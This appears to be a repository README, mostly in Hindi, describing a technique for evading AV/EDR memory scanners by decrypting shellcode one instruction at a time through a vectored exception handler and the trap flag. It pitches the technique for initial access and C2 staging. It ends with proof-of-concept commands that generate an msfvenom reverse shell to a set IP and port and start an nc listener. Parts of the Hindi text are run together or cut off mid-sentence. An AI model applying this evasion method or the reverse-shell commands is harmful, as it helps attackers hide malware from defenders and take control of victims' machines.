
A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.
एक तकनीक जिसका उपयोग AV/EDR मेमोरी स्कैनर को बायपास करने के लिए किया जा सकता है। इसका उपयोग व्यक्तिगत एन्क्रिप्टेड असेंबली निर्देशों के ऑन-द-फ्लाई डिक्रिप्शन को निष्पादित करके जाने-माने और पहचाने गए शेलकोड (जैसे msfvenom) को छिपाने के लिए किया जा सकता है, जिससे उस विशिष्ट मेमोरी पेज के लिए मेमोरी स्कैनर बेकार हो जाते हैं।
यह तकनीक एक PAGE_EXECUTE_READWRITE मेमोरी क्षेत्र बनाएगी जहाँ एन्क्रिप्टेड असेंबली निर्देश संग्रहीत किए जाएंगे। शेलकोड कुछ पैडिंग के साथ लपेटा जाएगा। प्रोग्राम शेलकोड के एंट्रीपॉइंट पर एक हार्डवेयर ब्रेकपॉइंट (HWBP) सेट करेगा।
इसके बाद, प्रोग्राम एक वेक्टरेड एक्सेप्शन हैंडलर (VEH) स्थापित करेगा। यह VEH मूल रूप से एक डीबगर की तरह कार्य करेगा, कोड के माध्यम से सिंगल-स्टेप करते हुए, VEH द्वारा प्राप्त प्रत्येक SINGLE STEP एक्सेप्शन के लिए इंस्ट्रक्शन पॉइंटर रजिस्टर (RIP) को पढ़ेगा, और जहाँ RIP इंगित करता है . वहाँ अगले 16 बाइट्स (अधिकतम x64 असेंबली निर्देश लंबाई) को डिक्रिप्ट करेगा। VEH पहले डिक्रिप्ट किए गए निर्देश को वापस एन्क्रिप्ट भी करता है, यह सुनिश्चित करता है कि शेलकोड का बाकी हिस्सा वर्तमान में निष्पादित एकल असेंबली निर्देश के अपवाद के साथ हमेशा एन्क्रिप्टेड रहे। उसके बाद, यह Eflags रजिस्टर पर TRAP FLAG कॉन्फ़िगर किए जाने के साथ निष्पादन जारी रखेगा। यह सुनिश्चित करेगा कि अगला असेंबली निर्देश भी एक ब्रेकपॉइंट एक्सेप्शन को ट्रिगर करे, जिसे VEH संभाल सकता है।
VEH स्थापना के बाद, मुख्य थ्रेड निष्पादन पेलोड एंट्रीपॉइंट पर पुनर्निर्देशित किया जाएगा। जब HWBP एंट्रीपॉइंट पर ट्रिगर होगा, VEH प्रत्येक निष्पादित असेंबली निर्देश पर रुकेगा, अगले असेंबली निर्देश का डिक्रिप्शन करेगा और पिछले एन्क्रिप्टेड निर्देश को एन्क्रिप्ट करेगा जो एक वैश्विक चर के रूप में सहेजा गया है।
ऐसा करके, मूल रूप से एक समय में एक एकल असेंबली निर्देश डिक्रिप्ट किया जाता है, बाकी पेलोड एन्क्रिप्टेड रहता है।
नोट: यह तकनीक msfvenom या कस्टम रिवर्स शेल जैसे बुनियादी शेलकोड का उपयोग करके प्रारंभिक पहुँच प्राप्त करने के लिए आदर्श है। इसका उपयोग प्रारंभिक चरण 1 पेलोड के रूप में भी किया जा सकता है जो C2 सर्वर से बाकी पेलोड डाउनलोड करता है।
नोट: यह तकनीक सभी पेलोड (जैसे रिफ्लेक्टिव लोडर) के साथ संगत नहीं है . नीचे वर्तमान सीमाओं की सूची दी गई है:
VEH शेलकोड में निष्पादित प्रत्येक असेंबली निर्देश के लिए ट्रिगर होगा, शेलकोड की निष्पादन गति काफी धीमी हो जाएगी। CPU द्वारा निष्पादित प्रत्येक असेंबली निर्देश के लिए, VEH डिक्रिप्शन, एन्क्रिप्शन और मुख्य थ्रेड को निष्पादन बहाल करने के लिए कम से कम अतिरिक्त 300 ASM निर्देश निष्पादित करेगा। यदि दिया गया शेलकोड प्रदर्शन के बजाय छोटे आकार के लिए अनुकूलित है (जैसे msfvenom), तो पेलोड निष्पादन धीमा होगा। MSFVENOM को निष्पादित करने में 15 सेकंड से अधिक समय लग सकता है (CPU के आधार पर)। ऐसा इसलिए होता है क्योंकि msfvenom द्वारा उपयोग किया जाने वाला विशिष्ट शेलकोड छोटा पेलोड आकार प्राप्त करने के लिए प्रदर्शन का त्याग कर रहा है।NtCreateThread या Kernelbase.dll में इसके किसी भी रैपर को शेलकोड के अंदर एंट्रीपॉइंट के साथ कॉल करता है, तो पेलोड काम नहीं करेगा क्योंकि VEH उस थ्रेड निष्पादन के लिए ट्रिगर नहीं होगा क्योंकि नव निर्मित थ्रेड के एंट्रीपॉइंट पर कोई HWBP स्थापित नहीं है। (कार्य प्रगति पर - इस रिपॉजिटरी में आगे लागू किया जाएगा)मान/चर संग्रहीत हैं (उदाहरण के लिए, कच्चा स्ट्रिंग "powershell.exe" जिसे WinExec WINAPI के कॉल में ऑफसेट के माध्यम से संदर्भित किया जाता है) या कुछ संख्या ऑफसेट पर सहेजी गई है, और शेलकोड बाद में उसे कहीं लोड या संदर्भित करने का प्रयास करेगा, तो प्रोग्राम काम नहीं करेगा क्योंकि विशिष्ट चर या स्ट्रिंग एन्क्रिप्टेड होगी और VEH उसे डिक्रिप्ट नहीं करता है। यदि शेलकोड असेंबली निर्देशों के माध्यम से ऐसे तर्कों को स्टैक पर धकेलता है ( एक फ़ंक्शन के कॉल में उपयोग के लिए स्टैक पर "AAAAAAAA" डालने के लिए), तो यह तकनीक काम करेगी। (कार्य प्रगति पर - इस रिपॉजिटरी में आगे लागू किया जाएगा)POC को पुनः प्रस्तुत करने का तरीका:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

यह रिपॉजिटरी शैक्षणिक उद्देश्यों के लिए है, इस सॉफ़्टवेयर का उपयोग आपकी अपनी ज़िम्मेदारी है।
push 0x4141414141414141